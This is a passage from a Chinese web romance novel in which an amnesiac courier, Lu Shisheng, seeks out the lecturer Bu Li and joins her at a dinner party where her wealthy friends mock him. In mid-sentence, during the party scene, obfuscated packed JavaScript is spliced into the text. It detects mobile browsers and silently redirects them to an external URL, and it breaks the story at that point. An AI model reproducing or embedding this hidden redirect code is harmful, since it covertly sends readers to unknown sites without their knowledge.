面前的只是一个老旧的破房子,门上挂了锁,已经生锈了,窗户上的玻璃也被风刮破了,陆时生从窗户的破洞往里看了看,破旧不堪的家具,灰尘堆积的桌椅,根本不像一个正常人家居住的房间。 他怔愣地站了一会儿,转身去敲了敲邻居家的门。 开门的是一位大姐,见陆时生独自一人还背了个背包,以为他是路过的驴友,很友好地让他进了门,还倒了水给他,几句就把自己知道的邻居的事说给了陆时生。 邻居叫周建国,常年在江北打工,逢年过节才回家。他儿子确实叫周平,高中没毕业就去当兵了,不幸的是前几年周平发生了意外,算是为国捐躯,周建国早年丧妻,后又丧子,受不了这个打击,很早就搬走了,没人知道他去了哪里。 陆时生说不上自己是什么心情。 他一个人也惯了,原本贸然前来,觉得不太习惯,还在想着怎么面对,这会儿没寻到人,心里又有些空落落的。 想到他父亲孤身一人这么多年,心里难免寒凉难压。 他离开了小兰村,回了花溪镇去。 这几天家里格外清净,陆时生来回来把家里收拾了好几遍,还是坐不住,身体已经很疲惫了,但陆时生一坐下来,就觉得耳边轰鸣,死一般的寂静将人包围,空气冷如冰块,让人寒冷又窒息。 陆时生还是换上了厚门帘。 冷空气被隔绝在外,似乎更加压抑。 晚上,桂香奶奶带了晚饭过来,她敲了两下门,没人来开,见门也没锁,便直接推了门进来, 房间里冷得让人站不住脚,桂香奶奶皱了下眉,正想说两句,见陆时生趴在桌上睡着了。 她过去轻轻拍了两下,人也没醒,桂香奶奶觉得不太对劲,一摸额头,果然是发烧了。 桂香奶奶急了,把饭菜放在一边,想着先把人扶到床上去,她试了下,这把老骨头实在搬不动,正打算出去喊人,陆时生醒了。 陆时生半睁着眼看了下,看清是桂香奶奶过来,刚一开口就觉得嗓子一阵痛痒,话没说出来,倒咳嗽了半天才缓过来。 桂香奶奶听得揪心,一时情急责备道:“这孩子怎么不爱惜自己身体呢!” “时生,你先回屋去躺会儿,我帮你把炉子点起来暖和点。” 陆时生嗯了声,转身回了屋。 屋子里有了火,温度总算升上来几度,让人待着能舒服些。她去里屋看的时候,陆时生已经睡着了。 他人蜷缩在床边,盖的被子都没完全展开,桂香奶奶过去把他的被角捻好,好在她之前也常来,知道药箱放在哪,只是打开后人有点懵。 她一老太太也不识字,看着花花绿绿的药盒也不知道哪个是退烧药。 翻了两下,桂香奶奶掏出手机,拨了电话给步梨打了过去。 她点了开视频,电话一接通,桂香奶奶就朝着电话里大声喊:“梨子啊,你帮奶奶看看哪个是退烧药啊,这跟我之前给朵朵吃的也不一样,我就认不出哪个是哪个了。” 步梨正在家里加班看资料,接到视频申请,人还有点懵。 “怎么了奶奶,是朵朵生病了?”她整理了下凌乱的头发。 “不是不是,”桂香奶奶叹了口气,“是时生,我今晚来看他才发现的,也不知道烧多久了,我今晚要不来,也不知道得烧成啥样呢。” 她一边念叨着一边把镜头给了陆时生。 步梨还没反应过来,手机屏幕里就出现了陆时生的睡颜。他侧躺着,手里还拿着一个小物件,尽管从屏幕里看也能看得很清晰,陆时生手里握着的是那个小兔子玩偶。 是她送给他的那个小兔子。 步梨整个人怔愣一会儿,才想起桂香奶奶刚才说陆时生发了烧。 “奶奶,要不您让我看看药箱?” 桂香奶奶尴尬地应了几声,连忙把镜头转向药箱,步梨帮她指了退烧药,又仔细看了用药说明后讲给了桂香奶奶。 挂了电话后,她眼睛一直盯着电脑屏幕前的资料,这一页她看了有二十分钟都没能翻页,过了会儿,她关了电脑去睡觉,顺手把从花溪镇带回来的小玩偶拿到了床头柜上。 她懂了。 原来她的小玩偶没有被退回,而是互换。 ... 次日清早,陆时生醒过来时,房间里暖烘烘的,让人觉得很舒服,他多躺了一会儿才起了床。 桂香奶奶给他送了早饭过来,她来时,陆时生正在整理行李箱。 桂香奶奶大概明白了他要做什么,“时生啊,这是要走吗?” “嗯。” “去江北?” “对,去江北。” 桂香奶奶笑了笑,一脸了然,“是去找步梨吧?” 陆时生笑着默认。 “桂香奶奶,昨天谢谢你了,我今天下午就走,这个店里还有不少东西,我一时半会儿估计也不会回来了,以后您缺什么直接过来拿就行。” “今天下午就走?” “嗯,我也没别的亲人,就只能拜托您帮我照看照看房子了。” 桂香奶奶道:“放心吧。对了,你等我会儿啊。” 她把早餐放下,蹭着脚步出了门,过了会儿,拎了一个大包过来,都是给陆时生带的东西。 陆时生笑了笑,“这些你拿回去吧,太多了我不好拿。” “怎么不好拿?放包里不是挺方便的?”桂香奶奶直接把大包塞进了陆时生的行李箱里,“我老胳膊老腿的拎过来不容易,拿不回去,这里面还有我今早烙的烧饼呢,你路上吃,好吃着呢!” 行李箱被她塞得满满当当,陆时生没再拒绝。 下午,陆时生坐班车到县城,坐上了去江北的火车。 当天晚上,他到了江北,等回到他租的地下室,已经十点多钟,陆时生早早睡下,第二天一早,去了之前工作的快递站。 同事罗新诶呦呼叫地把他拉了进来,兴致冲冲道:“小陆,你可算回来了。” 陆时生问:“怎么,这两天有事?” “没事,就是站里缺人,可忙死我们了。” 高佳伟插话道:“陆哥陆哥,宁馨花园小区那个姓钟的女的,这周来寄了六次快递,每回都找你,你不知道她一听说你不在那脸愁得跟苦瓜似的。” 罗新跟着打趣:“我猜她今天还来,今天她该高兴了。” 罗新凑过来,胳膊搭在陆时生肩膀上,贱兮兮道:“小陆,你说你要不要发挥一下美男计,听说她单身,而且宁馨花园的房子不便宜呢,在那儿住的肯定都不差钱,虽然这个赵琳小姐姐长得差了点意思,年纪也有点大,但她有钱啊。” 陆时生将他推开,“我看你们一点儿也不忙,还有空开我玩笑。” “忙,忙啊,”罗新转身继续去给快递分类,陆时生蹲下帮他一块,罗新继续说道,“我这不替你的终身大事操心吗,你说我要有你这条件,才不来干这体力活呢,找个富婆,每天说几句好听的话给人提供提供情绪价值,那钱就进账了,日子多舒服?” “罗哥,你说的那不是攀高枝傍大款吗?”高佳伟年纪小,还处于满腔斗志靠自己的双手发财致富的阶段,对罗新的想法极为不赞同。 罗新道:“怎么?你还瞧不起攀高枝的了?这叫走捷径,你以为人人都有资格走捷径啊!咱这条件,想走还走不了呢。” 高佳伟道:“攀高枝不是长远之道,等你年老色衰了早晚让人踢下来,还是得努力生长,自己当高枝。” “这孩子还挺有想法。”罗新笑了两声,不想打击小孩的积极性,没再和他呛,专心干自己手里的活儿了,过了会儿,又不死心地问陆时生,“小陆,你真不想找一个?” 陆时生点了点头,“我要求高,不仅得有钱,还得漂亮。” 罗新倒是没想到陆时生是这个想法,他张大了嘴看了陆时生一会儿,不可思议道:“行啊小陆,原来你是这样想的,我还以为你是那种宁折不屈不为五斗米折腰的呢,不过你这就有点不切实际了,又漂亮又有钱的哪能看得上咱,虽然你是帅点,但......” 其他条件也太差了! 他啧啧了两声,没往下说。 “开个玩笑。”陆时生笑了声,站起身往里面走,“我去找站长打个招呼。” 里屋的办公室,房间里传来一阵争吵声。 “这一个钟头过去了,才写两道题?你那笔上有答案吗,天天摆弄你那笔?” “我说了不会,让你给我讲你又讲不出来!” “不会你还有理了?” “......” 陆时生敲了敲门进去,站长刘国庆见陆时生回来了,有点不好意思,瞪了眼自己儿子,然后笑着解释道:“孩子他妈这两天回她娘家去了,这孩子自己在家根本不好好写作业,我就给他带过来了。” “好好写你的!” “上几年级呢?”陆时生问。 刘国庆:“五年级。” “初一了好吗!”刘俊龙朝他爸翻了个白眼。 “初一?”刘国庆一直以为自己儿子还在上小学,震惊过后小声嘀咕了句,“初一的题就这么难了?” 刘俊龙道:“这是奥数题,老师说做不做都行的,就你非让我做。” 刘国庆给了他一个脑袋瓜:“那是你妈交代我盯着你做的!你好好写,写不出来不许吃饭!” 他训斥完,抬头问陆时生:“时生,你父亲身体怎么样了?” “哦,”陆时生抿了抿唇,“回老家,办过葬礼了。” “啊......”刘国庆始料未及,他拍了拍陆时生的肩膀,安慰道,“节哀顺变,我看你也瘦了不少,缺勤的那几天我也不给你记了,好好干活,这个月工资一点也不给你少发。” 陆时生点点头,“谢谢刘哥。” 啪一声,刘俊龙把杯子碰到了地上,刘国庆一猜就知道这小子肯定是趁着他俩说话的时间偷懒了,他走过去把杯子捡起来,一看,果然一道题没写。 刘俊龙趁他还没说话,抬头开始卖惨,“爸,我渴了。” “就你事儿多。”刘国庆嘴上呵斥,身体很诚实,随即穿了外套准备出门买水。 陆时生正要出去干活,被他叫住,“小陆,你先帮我看会儿孩子,我去买两瓶水。” 陆时生怔愣地答应道:“哦。” 门被关上,陆时生和刘俊龙两个人开始大眼瞪小眼。 两人沉默了会儿,陆时生先开口:“看我干嘛?你爸让你写题。” 刘俊龙耸了耸肩,“我妈说写完这张卷子我就能出去玩了。” 陆时生:“那你不快写?” 刘俊龙噘了噘嘴,在座位上摇头晃脑了一会儿,然后抬起头,朝着陆时生露出一排小白牙,“我不会写。” 刘国庆在对面的超市买了两瓶矿泉水回来,又在小摊上买了根烤肠,他在街边把烤肠吃完才回去,回来时,刘俊龙正蹲在罗新边上看他分快递。 刘国庆心里顿时来了气,气冲冲地过去吼了句,“刘俊龙!不学习干嘛呢!怎么着,将来也想送快递?” 罗新心里一堵,憋屈地解释了句,“刘哥,不是我把他放出来的啊。” 刘俊龙站起来,理直气壮道:“我卷子写完了!我妈说我写完卷子就能玩了!” “我信你个鬼!”刘国庆把水往他怀里一塞,推着他进屋写作业。 “我真写完了!!!”刘俊龙挣扎着跑开,从屋里把卷子拿了出来,晾到刘国庆眼跟前,“不信你看。” 刘国庆眼珠子都快贴到卷子上了,“不可能啊,我走的时候你还好几道大题没写呢。” 刘俊龙得意地晃了晃脖子,打算出门,被刘国庆一把揪了回来。 “刘俊龙你搞什么鬼呢?你以为你胡乱写几个数字把空填满就能忽悠我了?” 刘俊龙喊道:“真是我自己写的!这题我都会了,小陆哥给我讲的可清楚了。” 刘国庆惊讶:“谁?” “小陆哥啊。”刘俊龙吸了吸鼻子,在刘国庆身上嗅了嗅,“爸,你吃烤肠了?” 刘国庆心虚地摸了下鼻子,“没啊!” 刘俊龙气得跺脚,两个小手攥起了拳头,“你 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罗新在一旁嘘嘘了两声,说道:“刘哥,家教哪有这么便宜的?我表哥前两天给他儿子请了个大学生还一小时150呢。” 刘国庆不好意思道:“小陆,这我家也不是什么大户人家,不然就八十,时间也随便,一周一两次就行,你看看你愿意不?” 刘国庆平人不错,平时对陆时生也挺照顾,就算不给钱,陆时生帮忙辅导辅导作业也是愿意的,他没犹豫,点头答应道:“行,我又不是大学生,您这么信任我,我挺高兴了。” 刘国庆见这事儿成了,顿时满面春风,感觉儿子已经考上了重点高中,高兴地哼着小曲开始干活。 他打开工作手机看了眼,脸上笑容的褶皱很快换成了愁眉苦脸的皱纹。 “小罗,怎么有个客户投诉啊?” 罗新立刻跳了起来,“哪呢?” 刘国庆把手机甩到他面前,罗新看了眼,嗷了一嗓子,“这件我早上就去拿了,你看着地址,江北大学第三教学楼,在学校里头呢,保安不让我进门,我打客户电话也死活打不通,我就回来了,他自己不接电话怎么还投诉我呢?” 刘国庆道:“那你再去拿一趟啊,人都预约了,记得再给人打个电话让他把投诉撤销了。” 罗新不乐意道:“但我这手上还有三个件没取呢。” “我去吧,刘哥。”陆时生道。 罗新立刻感激地说:“行啊太好了,那小陆你去拿吧,江大那校园太大了,就算混进去也得在里面绕半天。” “没事,你把那单转给我。” 陆时生收到了寄件信息,骑上电动车去了江北大学。 到了门口,他给客户打了电话,电话接通了,是一个女的,很小的声音,“我约了早上8点钟,你那会儿没来,现在来了我在开会呢没空。” 陆时生道:“没事,你什么时候能来,我在你们学校门口等你会儿。” “半个小时吧。” “行。” 他挂了电话,路边找了个长椅坐下,思来想去犹豫了半天,还是给步梨发了条信息。 “我在江大附近,中午有没有空吃饭?” 他搓了搓手,点了发送过去。 十分钟过去,也没收到一个回复。 陆时生坐也坐不住,站起身往校园里张望。 江北的校园很大,校门也有好几个,他想在这里偶遇步梨,概率显然不大。 他又等了会儿,手机来了电话,是来寄快递的客户,已经到了校门口。 陆时生望过去,见到一个穿黄衣服的女生站在校门口张望。他挂了电话,走过去朝她招了下手。 “这里,寄的什么?” 女生道:“文件,挺重要的,可千万别弄丢了。” 她刚才在电话里态度不佳,这会儿见了面,语气和善了不少。 “丢不了。”陆时生将文件装进纸袋里封好。 女生温柔地笑了笑:“那交给你了。” 陆时生趁机问:“对了同学,你能不能带我进去一下?” “做什么?” “哦,我就......想上个洗手间。”陆时生扯了个谎。 女生爽快道:“行,不过你穿这衣服保安肯定会拦你。” 陆时生会意,把外套脱了叠了叠挎在了胳膊上,“这样行了吧。” 女生红着脸点了点头。 陆时生跟着他成功混进了江大的校园里,女生还特意给了指了个最近的可以上洗手间的教学楼。 陆时生说了声谢谢,转身后自己在地图上搜了艺术系的教学楼。 他很顺利地找到了目的地,不过没见到步梨,手机也一直没有消息提醒,看了眼时间,快到午饭的点儿了,不回消息没准是去午饭了。 他记得教职工餐厅就在旁边,便抱着试试的心态,去那边绕了一圈。 教职工餐厅的饭菜口味好,价格也不贵,平时也有很多学生会过来吃。 ... 今日步梨和吴延一块吃的午饭,最近吴延的设计公司和江大有一个合作项目,他便会经常来江大吃饭,不过这次和步梨一块吃食堂倒是第一次。 吴延觉得难得,特意选了排队时间久吃得也久的小火锅。 “我选这个你不介意吧?”他还心虚地问了句。 步梨把饭卡给了他,“随便刷,我请你。” 她去花溪镇休了两天假,回来就听说廖翔骚扰女学生被曝光的事。步梨知道这事儿是吴延帮忙了,她其实没太想接受这个帮忙,但吴延已经出手了,廖翔也被停职带去调查,总归是好事,要好好答谢一下人家。 吴延没客气,接过了饭卡,笑嘻嘻地说道:“这我可不满足,怎么着也得去米其林餐厅吃一顿吧。” “行。”步梨笑了笑,先去找了个空位坐下。 两人边吃饭边聊了会儿项目的事,吃完半个小时也过去了。 从食堂出来时,外面竟然开始飘起了雪花。 天空被灰蒙蒙的云层覆盖,雪粒簌簌落下,路上已经积了一层白色绒毯,这个冬天的第一场雪来得十分张扬跋扈,来得又急又猛,没有丝毫预兆。 寒风卷席着片片雪花从身后刮过来,在耳边呼啸而过,步梨裹紧了大衣,在某个瞬间,肆虐的寒风带过来一道熟悉的声音。 “步梨。” 51. 你还要我吗? 陆时生肩头落了些白色的雪粒。 大雪的天气,他只穿了件黑色卫衣,显得整个人瘦削单薄,走过来时,周身都沾染着寒气。 “陆时生?”步梨有些惊讶。 “你朋友?”吴延问。 步梨点了点头,“那个,你先回去吧。” 吴延眉间涌出几分不悦,但还是点了点头,“那我回去等你。” “他谁?”陆时生皱了下眉。 “一个项目上的合作伙伴。”步梨道,“有事?” 陆时生摇摇头,没说话,他嘴唇冻得有些发白。 “你怎么就穿这个?”步梨不禁开口,说完后又觉得后悔,她问这个做什么。 陆时生望着她,“你是在关心我吗?” 他扬起胳膊上挎着的外套,“穿这个,不让进你们学校。” 步梨抿了抿唇,面无表情道:“进都进来了,现在穿,没人管你。” 陆时生笑了笑,把外套穿上说:“你刚才是跟那人一块吃了饭吗?” “嗯。”步梨点头。 “我还没吃饭。”陆时生道。 步梨看了眼陆时生手里的快递文件,又问,“你不是还要帮人寄快递吗?” 陆时生搓了搓手,朝手背哈了哈气,“就这一单,今天寄出去就行。” 步梨叹了口气,“那你要吃什么?” 陆时生指了下教职工食堂,“食堂今天的饭好吃吗?” 步梨摇摇头。 “那我也要吃。好不容易进来的江大,你不要请我吃吗?” 陆时生边说边往食堂走,回头时见步梨还站在原地,催促她跟上来。 步梨无奈,只能跟过去。 陆时生在食堂绕了一圈,最后打了两份菜一碗汤一晚米饭,然后端着盘子坐下,留步梨刷卡付款。 饭菜一共十二块钱,步梨贴卡的时候,打饭的阿姨还惊讶地问她,“姑娘,那快递小哥是你男朋友?” 步梨摇了摇头,“朋友。” 阿姨愣了愣,也觉得自己多嘴了,毕竟江大美丽优秀的步老师,怎么可能和一个快递员谈恋爱?她露出一个笑容,没再多问。 步梨走过来,坐到陆时生对面,看了他一会儿,觉得空气有些寂静,便去打了碗免费的姜汤来喝。 回来时,陆时生拿筷子的手停住,抬头看着步梨,他脸色和方才完全不一样,带着一些委屈和愧疚和不安,沉声开口:“步梨,你不要我了吗?” 步梨端碗的手一顿。 片刻后,若无其事地将碗送到嘴边,一板一眼地喝了一口。 “你是什么物件吗?” 陆时生闭了嘴,低头吃饭。 步梨道:“来找我是有什么事吗?” “你......”陆时生垂下眼,掩住眼底的失落,低声道,“是不想见我吗?” 步梨嘴角扬起,“想啊。” 陆时生抬眼。 步梨道:“你还有十万块钱没还我,是来还钱的?” 陆时生如实相告:“还没攒够,不过我在攒,你能不能......能不能帮我介绍个工作?” 步梨疑惑,“帮你介绍工作?” 陆时生点头,“家教老师,或者别的。” 他看了眼步梨的表情,忍了忍心里的歉意,厚着脸皮继续说道,“我知道我没学历,不太好找工作,没有学位证书,也不太好联系学生家长,所以才想来拜托你。” 步梨喝了口汤,看样子是在思考,“为什么找我帮忙?” 陆时生垂着眼,低声解释了一句,“你圈子里有钱人应该挺多的吧,时薪不用太高,一小时高于80就行。” 步梨笑了一声,“八十?” 陆时生犹豫了会儿,像是在谈判,“虽然我没学历,但你应该知道我数学还是不错的,之前经常给朵朵辅导作业,而且现在大学生一小时都一百多呢,我已经很便宜了。” 步梨收回目光。 她觉得陆时生这次来,和之前大不一样,颇有些死皮赖脸的感觉。 或许是家庭的变故,让他有些破罐破摔,步梨念着他刚失去亲人,并不想对他恶语相向。 况且,他们本就没有什么仇。 “我考虑考虑。” 陆时生笑了笑,低头把饭吃完,然后从身上掏出那张照片,放在桌上。 “什么啊?”步梨疑惑。 陆时生将照片往步梨跟前推了推,示意她拿起来看。 步梨目光落下来,打量着照片里的人,有些怔愣。 齐刘海,学生头,杏眼微眯,嘴角带笑。 这是她高中时候拍的照片。 很青涩,也很清纯,步梨偷偷欣赏了一会儿,有些怀念。过了会儿才反应过来,“你怎么有我高中时候的证件照?” 陆时生自然也不清楚,只说道:“我失忆之前应该是认识你。” 步梨皱起眉头,“可我不认识你。” 陆时生嗓子一噎,印证了自己之前的猜想,十有八九是了。 肯定是他暗恋步梨,偷偷藏了人家照片,结果人家根本不认识自己。 他轻咳了一声,将照片拿了回来,放在兜儿里。 步梨看着他这一番操作,显然是将她的照片理所当然地占为己有。 “不还给我?”她问。 陆时生摇了摇头。 步梨没强求,她忽然意识到一个重要的问题,不可置信地问:“起码说明,我们可能在同一个高中上的学。” “我不清楚。”陆时生只能这么说,毕竟他对自己的过去同样一无所知,全靠猜测。 “我爸临走前,和我说我是他捡来的,不是陆时生。” 步梨有些震惊,她在圈子里八卦听得不少,也没碰见过这样的事。一个失忆的人,用别人的身份活了这么多年,到头来亲人不是亲人,故乡不是故乡,不知道是什么感觉。 她看向陆时生,望了半天,脑海里浮现出一个不太熟悉的身影——温故? 她曾有几次出现这样的错觉,但一想起沈思筝去花溪镇的时候,见过陆时生,便彻底打消了这个念头。 现在想来,当时沈思筝和陆时生的见面,她并没有在场,说不定有什么误会在其中。 她慌忙给沈思筝拨了电话过去。 如果温故没死,如果他真的是温故,那...... 她想不出来该怎么形容那种感觉,只觉得自己的心脏砰砰地响,几乎要跳出胸膛,她紧张地手机都有些拿不稳。 电话响了好几声也没人接,沈思筝经常做手术一做就是几个小时,一天的时候也有。 步梨坚持等了好久,依然没人接,她终于放弃。 陆时生不解地看了她一会儿,等她挂断了电话才开口问:“在干嘛?” “给沈思筝打电话,她可能认识你。” “沈、思、筝?” “嗯,就是这个女孩。”步梨和沈思筝的聊天窗口背景图就是她们两人的合照,她退出前,顺手便给陆时生指了一下,也没指望他能想起什么。 但陆时生见到那张照片时,眉头明显皱了一下。 步梨惊喜道:“你有印象?” 陆时生摇摇头,“不是有印象,是这个人我认识,我给她当过代驾。” 步梨:“啊?” 心里好像有个泡泡碎了。 她不死心地问:“你什么时候给她当的代驾?” 陆时生道:“就前几天,我在酒吧工作,她在那喝酒,我送她回的家,她当时确实把我认成了一个人,不过后来看清楚了之后,就走了,还多给了我钱。” 步梨失落地叹了口气,“看来是我多想了,哪有这么巧的事。” 沈思筝和陆时生见了两次,总不可能两次都有误会,看来她猜错了。 陆时生淡淡开口:“我的真实名字叫周平,是淮州人。” 步梨惊讶,“你知道自己是谁了?” 敢情她方才白忙活了一顿。 陆时生道:“包里还有个身份证,上面写的,淮州市大周县小兰村人。” “那你去过淮州了?” “嗯,只找到一个空房子。” “竟然是这样。”步梨替他遗憾,她思绪又跳到自己的照片上,“可我高中的时候没去过淮州。” 陆时生道:“也许是我来过江北,我打听到我父亲叫周建国,他确实在江北打工。” 步梨的心跳还没平复过来,方才的激动被失落覆盖,她长长地叹了口气说:“反正......改天,我带你去高中转转。” 陆时生急忙问:“改天是哪天?要不今晚?” 步梨婉拒道:“周末吧,我今晚要去聚餐。” 陆时生不安地问:“和刚才那个男的?” 步梨无奈道:“没有他,是我几个好朋友。” 陆时生道:“我能不能去?” “你要去?” 陆时生点头,神色认真且真诚。 “我也算你的好朋友吧。” 步梨想了会儿,答应道:“好吧。” 今晚本来也不是什么重要聚会,她在江北的这些朋友有事没事就要聚会,尤其以赖依依为首,有事了要聚一会儿聊聊,没事了也要聚聚会打发时间,赖依依组织了好几次了,前几次她都以有事推脱了,赖依依狠狠表达了不满,这次她说交了新的男朋友,还跟步梨说不来就跟她绝交,所以步梨才答应了要去。 至于陆时生,他乐意跟着就跟着吧,正好晚上跟沈思筝见见,她还没死心,总觉得让他俩亲自见一面才保险。 ... 晚上的聚会在一个高级会所,地方是赖依依选的。 包厢里有沙发,能唱歌,也有长桌,等上菜了就可以过去吃饭。 几个不认识的人情绪高昂地在点歌,熊雯跟他们不熟,坐在一边无聊地划拉手机,“梨子怎么还没到呢?” 她不耐烦地问赖依依。 赖依依呵呵两声,“说是加班呢。” 熊雯表示不理解,“这班到底有什么可加的?” 赖依依朝她挤眉弄眼道:“听说梨子一会儿要带人过来。” “带人?” 赖依依凑到她耳边道:“就是她从花溪镇带过来的穷小子男友!” “啊!他俩还没断?”熊雯惊讶。 说曹操曹操到,正聊着,步梨已经到了门口,赖依依见到她,高声地喊了句。 “梨子,你终于来了!” 步梨抱歉地说了句,“不好意思,路上太堵了。” “你现在可真成大忙人了。” 赖依依眼尖地见到她旁边还有一个男的,模样出挑,饶是他见过不少,这会儿见了这人,目光也难免被其吸引,从他一进来,在场人的目光就齐刷刷看了过来,这人显然是跟步梨一块的,难道这就是陆时生? 他瞧了眼熊雯,对方也正处于目瞪口呆的状态中。 难怪步梨把人当宝贝似的,原来传说中的陆时生长成这样...... 赖依依眼珠子转了几下,明知故问道:“梨子,这是谁呀?” 步梨笑着介绍:“陆时生。” 赖依依目光在陆时生身上打量了一遍,不得不承认,他身上有一种很特殊的气质,身着朴素,周身却有一种与生俱来的贵气,赖依依抿了抿嘴唇,语气里带了些酸味,“原来你就是陆时生,久仰大名,今日终于见到本尊了。” 陆时生有些惊讶,“你们知道我?” 赖依依笑着道:“梨子早就跟我们提过了。” 步梨环顾一圈,没找到沈思筝,急忙转移话题:“思筝没来?” 赖依依扶额苦恼道:“我给她打了三个电话才接通,她说今天明天后天都是一天的手术。” 步梨有点失望,有点后悔过来了,这个包厢里她就认识赖依依还有正在唱歌的熊雯,其他的都很面生,现在沈思筝也没来,她有点不自在,想着坐一会儿就找个理由逃走。 陆时生在她身边坐下来,赖依依拿着啤酒挤过来,给陆时生倒上一杯。他对步梨带来的人很感兴趣,自来熟地跟人闲扯起来。 “快递员?!” 赖依依突然高声喊了一句。 正值歌曲的间隙,包厢里只有小声的交谈声,赖依依这一声显得十分突兀。 瞬时,所有人的目光都朝他们这边看过来。 赖依依尴清了清嗓子,尬地笑了两声,跟陆时生确认道:“你是快递员?” 陆时生点点头。 包厢里一阵安静,下一首歌已经开始了,拿着话筒的人也没唱,只有伴奏的声音。 “那找你寄快递会不会有优惠呀?”熊雯开了句玩笑。 陆时生神色自在,笑着嗯了一声,“不过你们还在乎那几块钱的优惠吗?” “当然了,我现在工资只有八千。”熊雯道。 一阵哄笑。 气氛总算缓和了些。 赖依依也跟着笑了几声。 步梨瞥了他一眼,将话题转移到他身上,“你不是说带了男朋友过来吗?在哪呢?” 赖依依笑了笑,朝一个方向招了招手,“诶,过来。” 步梨顺着他的目光看过去,有个人拿着酒杯走过来。 她看了赖依依一眼,向他确认,赖依依笑了笑,解释道:“我对象,上周刚确认的关系。” 他说着,嘿嘿了两声,环过男人的手臂,“这是温礼,你们应该听说过。” 熊雯惊讶道:“你就是温家的那个——” 她说到一半,顿觉失言,转过头悄悄扇了自己一个嘴巴,然后才探出身子来,笑着朝温礼打了个招呼,“你好,我叫熊雯。” 温礼长得细皮嫩肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639388|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,性格也很文静,他也没在意熊雯方才的失言,点头回应了一句。 赖依依开心地介绍着,“这是步梨,我的好姐妹,这是陆......陆......” “陆时生。”陆时生接过话来。 “哦哦对,陆时生,我这记性!”赖依依笑了两声,见温礼愣着不说话,嫌弃地看了他一眼,“怎么愣着不跟人打招呼?” 她在他腿上狠狠掐了一把,两人的气质,一看就是赖依依站上位。 温礼吃痛,这才回过神来,他似乎有点紧张,弱弱地看了眼赖依依,“我有点不舒服,想去趟洗手间。” 赖依依担心道:“要我陪着你吗?” “不用。” 温礼起身离开。 他人一出包厢,就开始有了议论声。 “依依,你玩得也太刺激了,怎么找对象还找到了他啊?” 赖依依一听这话,顿时火冒三丈,“怎么了怎么了?温礼不好吗?我就喜欢这种温温柔柔的男人,不行?” “可他是温家的养子啊。” “谈个恋爱,我管那么多做什么,就算是养子,温家的亲儿子死了,那么大家业最后还不是归我们家小礼物?” 她用了“小礼物”这个称呼,在场不少人都被油腻到。 一首歌的时间过去,温礼还没回来,赖依依有些担心,给他发了条微信过去问,过了片刻,她一拍桌子,叫喊道:“诶呀,我家小礼物说胃疼,我去给他买点药。” “诶,依依,该你的歌了。”旁边有人拉住她。 赖依依皱起眉头,“啊?我的歌?诶呀,等一下,那我叫个外卖吧。” “旁边就有个药店啊,你找人帮你去买呗,反正外卖也送不进来。” “这不是有现成的送货小哥吗?”不知道是谁起哄者说了一句,步梨闻声望去,毫不掩饰地给了他一个刀人的眼神。 那人立刻闭嘴,但又有别人跟着笑了起来,“这不来拿手的业务了吗?” 步梨酒精有点上头,捋了下散落的碎发,笑着道:“你们倒会压榨人,休息时间还让人加班。” 赖依依抓到了要点,起哄道:“诶呦,小步梨,他是你什么人啊,你这么维护他?” 步梨回头看了眼陆时生,他垂着眼一副隐忍克制的可怜模样,步梨扬了扬嘴角,心生爽感。 当初在花溪镇陆时生也对她说了不少过分的话,现在他这样是罪有应得。 她这个人一向睚眦必报,而且今日是陆时生非要自己跟过来的,她这群朋友一向嘴上不留情,步梨已经提前和他讲过了,陆时生依然执意跟来,步梨也没办法,倒觉得说说他也好! “没事。”陆时生笑了下,起身道,“我去买吧,正好我也有东西要买。” 他淡定地走出门,周围变得安静下来。 方才的喧嚣震得他头一直隐隐作痛,这会儿终于得了清净,他吐了口气,推开门,刺骨的寒风迎面刮来。 雪下了很久才停,路边厚厚的一层积雪,在月光下显得干净纯白,陆时生踩上去,雪咯吱作响。寒意从脚底蔓延上来。 他腿疼又犯了。 方才在包厢里,他的腿就隐隐作痛,这会儿愈发严重了。 他停下脚,用地图搜了下附近的药店,最近的也要1公里。很尴尬的距离,打车没必要,走过去他又实在....... 陆时生想了想自己微薄的工资,咬了咬牙,抬脚往前走。 到了药店,他买了胃药,又要了盒止疼药,回会所前,他吞了两片,待痛感逐渐减退,基本能正常走路了,才往回走。 “陆时生?”走廊里,有人喊了他一声,是谨慎疑惑的语气,“我没记错吧,你的名字。” 陆时生转过身,见身后站着的人是赖依依的男友温礼,他点了下头,将胃药递过去,“没错,这是赖依依给你的药。” 温礼目光在那药盒上扫了一眼,接过去,语气里有些不屑,“谢了。” 回来时,包厢里已经没人唱歌,菜上齐了,赖依依早早招呼大家坐下来吃饭,海鲜都是她提前订好从国外空运过来的,想到她精心准备这么一桌在菜,温礼却在这会儿胃疼,她有点不悦,感觉被人扫了兴致。 熊雯笑着打趣她,“要不你把这些给你的小礼物打包带回去?他不是在孤儿院长大的吗,估计也没吃过这些。” 赖依依瞪了熊雯一眼,“你们别老提那些过去的事儿!” 她靠在椅背上打了个哈欠,懒洋洋地将话题转向步梨:“梨子,你带来的这位快递小哥的腿脚不太利索啊,怎么去了这么久?” 确实过了挺久,步梨这时想到陆时生有腿疾,今天天冷,他别是又犯病了。 她起身打算出去看看,却被赖依依拽住。 “这么担心干嘛?他那么大人了又不会丢,我看他是不想回来。” 步梨又坐了回去,熊雯问道:“你上次不是说他就是你在花溪镇找的消遣吗?怎么还带回江北来了?” 赖依依道:“是不是他缠上你了,自己跟过来的?” 熊雯笑了笑,打趣:“其实我挺理解你,这么好看的一个人,要给我我也想占为己有,而且他也没什么家世,就更好拿捏了。” “大熊你可别教坏了梨子,找对象又不能光看脸吧,”赖依依不依不饶地说道,“不是我说你,梨子,咱们这种圈子的人找对象就应该谨慎一些,虽然咱们钱多,可钱也不是大风刮来的,你家里人知道你知道了个穷小子吗?” 